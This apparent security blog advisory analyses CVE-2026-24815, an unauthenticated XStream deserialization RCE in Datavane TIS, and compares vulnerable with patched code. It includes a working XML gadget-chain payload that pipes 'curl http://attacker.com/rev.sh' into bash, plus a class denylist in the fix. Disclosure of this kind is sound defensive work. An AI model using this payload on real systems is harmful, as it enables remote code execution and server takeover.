CVE-2026-24815

XML Hell: Critical RCE in Datavane TIS via XStream

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 28, 2026·6 min read·6 visits

Executive Summary (TL;DR)

Critical RCE (CVSS 10.0) in Datavane TIS versions < 4.3.0. An unauthenticated attacker can upload a malicious XML file which, when parsed by the application's insecure XStream library, executes arbitrary commands on the server.

Data integration platforms are a goldmine for attackers—they sit at the center of your infrastructure, holding the keys to the kingdom. Datavane's 'tis' platform recently handed over those keys via a classic, almost nostalgic vulnerability: XStream deserialization. By combining an unrestricted file upload with an insecurely configured XML parser, the platform allows unauthenticated attackers to execute arbitrary code with the privileges of the application. This isn't just a bug; it's a CVSS 10.0 catastrophe that turns a simple XML file into a remote shell.

The Hook: Integration or Disintegration?

In the world of enterprise Java, 'integration' usually means 'parsing complex data formats.' Datavane's tis is a data integration system designed to move massive amounts of information between endpoints. To handle configuration and plugin state, it relies heavily on XML. And wherever there is Java parsing XML, there is a security researcher salivating in the shadows.

The vulnerability lies deep within the tis-plugin module, specifically in how it handles configuration files. The application allows users to upload files that are subsequently processed by the server. While file uploads are a standard feature, they demand rigorous validation—not just of the file extension, but of the content itself.

Here, the developers trusted the XStream library to handle object serialization. XStream is a powerful tool, capable of turning almost any Java object into XML and back again. The problem? It's too powerful. If you don't put a leash on it, it will happily instantiate dangerous classes just because the XML told it to. It's like inviting a vampire into your house; once invited (or instantiated), they can do whatever they want.

The Flaw: A Trusting Parser

The root cause is a textbook case of CWE-502: Deserialization of Untrusted Data. The component com.qlangtech.tis.extension.impl.XmlFile.java is responsible for reading XML configurations. It utilizes an XStream instance to perform the deserialization.

In versions prior to v4.3.0, the getXStream() method initialized the library without applying security hardening. By default, older usages of XStream allow the deserialization of any class on the classpath. This includes the infamous 'gadget chains'—sequences of valid class invocations that end up doing something malicious, like executing a shell command.

Compounding this issue is CWE-434: Unrestricted Upload of File with Dangerous Type. The application allows the upload of these XML files without sufficient checks. An attacker doesn't need to authenticate or bypass complex firewalls; they simply need to upload a file and wait for the application to read it. The parser sees the XML tags, looks up the corresponding Java classes, and instantiates them. If the XML says 'create a ProcessBuilder,' the parser obeys without hesitation.

The Code: The Smoking Gun

Let's look at the code. This is a classic 'before and after' scenario that highlights exactly why secure defaults matter. In the vulnerable version, the XStream instance was returned naked, stripping away any potential defenses.

The Vulnerable Code (Conceptually):

// Prior to v4.3.0
public XStream getXStream() {
    if (this.xstream == null) {
        this.xstream = new XStream();
        // No security framework initialized
    }
    return this.xstream;
}

The fix, introduced in Pull Request #443, manually applies the brakes. The developers implemented an allowlist strategy, which is the gold standard for deserialization security. They explicitly define which packages are safe (com.qlangtech.tis.**) and, for good measure, explicitly deny the usual suspects.

The Fixed Code (v4.3.0):

public XStream getXStream() {
    if (!xsSecurityInitialized) {
        synchronized(this) {
            if (!xsSecurityInitialized) {
                // 1. Allowlist: Only trust your own code
                xs.allowTypesByWildcard(new String[] {
                    "com.qlangtech.tis.**"
                });
                
                // 2. Denylist: Explicitly block the chaos
                xs.denyTypes(new Class[] {
                    java.lang.System.class,
                    java.lang.ProcessBuilder.class,
                    java.lang.Runtime.class
                });
                
                xsSecurityInitialized = true;
            }
        }
    }
    return xs;
}

Notice the dual approach: allowlisting what is known to be good, and denylisting the most dangerous classes (ProcessBuilder, Runtime). While denylists are generally fragile (researchers always find new gadgets), the allowlist here provides the robust protection needed.

The Exploit: From XML to RCE

Exploiting this is terrifyingly simple if you have a copy of the ysoserial payload generator or knowledge of XStream gadgets. The goal is to craft an XML file that uses the SortedSet / DynamicProxy gadget chain to trigger code execution during the unmarshalling process.

Here is what the attack chain looks like:

The actual payload looks like standard XML, but the class attributes are weaponized. When XStream reconstructs the sorted-set, it tries to sort the elements. To do that, it calls the compareTo method. The payload uses a Dynamic Proxy to intercept that call and route it to an EventHandler, which finally invokes ProcessBuilder.start().

Sample Payload:

<sorted-set>
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="java.lang.ProcessBuilder">
        <command>
          <string>bash</string>
          <string>-c</string>
          <string>curl http://attacker.com/rev.sh | bash</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

Once this file touches the disk and the application parses it, the command executes immediately. No user interaction required. Root access granted.

The Impact: Why This Scores a 10.0

It is rare to see a pure CVSS 10.0 in modern software, but CVE-2026-24815 earns every point. Let's break down the metrics that lead to this 'game over' score.

First, Access Vector: Network. The attack can be launched remotely over the internet. Second, Privileges Required: None. No login credentials are needed to upload the file or trigger the parsing. Third, User Interaction: None. The admin doesn't need to click a link; the server processes the file automatically as part of its routine logic.

The impact is total Confidentiality, Integrity, and Availability loss. An attacker can steal all data (including database credentials often stored in tis configs), wipe the server, or install ransomware. Furthermore, since this is a data integration tool, it likely has network access to other sensitive systems (databases, data lakes, ERPs), making it the perfect pivot point for lateral movement.

The Fix: Closing the Window

The only reliable fix is to upgrade to datavane/tis v4.3.0 immediately. The patch does exactly what every Java application using XStream should do: it implements a strict allowlist.

If you cannot patch immediately (and you really should), you have limited options. You could attempt to block XML file uploads via a WAF, but XStream payloads can be obfuscated or embedded in unexpected ways. You could also try to strip ProcessBuilder strings from incoming traffic, but that is a cat-and-mouse game you will lose.

For developers reading this: Never use XStream (or any serialization library) on untrusted data without configuring a security framework. Use XStream.setupDefaultSecurity(xstream) and then xstream.allowTypes(...). Better yet, use data-only formats like JSON with strict schema validation where executable logic cannot be serialized.

Fix Analysis (1)

Technical Appendix

CVSS Score
10.0/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:P/AU:Y/R:U/V:C/RE:M/U:Red
EPSS Probability
0.04%
Top 88% most exploited

Affected Systems

datavane/tis (versions < 4.3.0)tis-plugin module

Affected Versions Detail

Product
Affected Versions
Fixed Version
tis
datavane
< 4.3.04.3.0
AttributeDetail
CWE IDCWE-502 (Deserialization of Untrusted Data)
CVSS v4.010.0 (Critical)
Attack VectorNetwork (File Upload)
ImpactRemote Code Execution (RCE)
EPSS Score0.00041 (Low, but rising)
Patch StatusFixed in v4.3.0
CWE-502
Deserialization of Untrusted Data

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Vulnerability Timeline

Patch submitted via PR #443
2025-05-18
CVE Published to NVD
2026-01-27
EPSS Score Assigned
2026-01-28

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.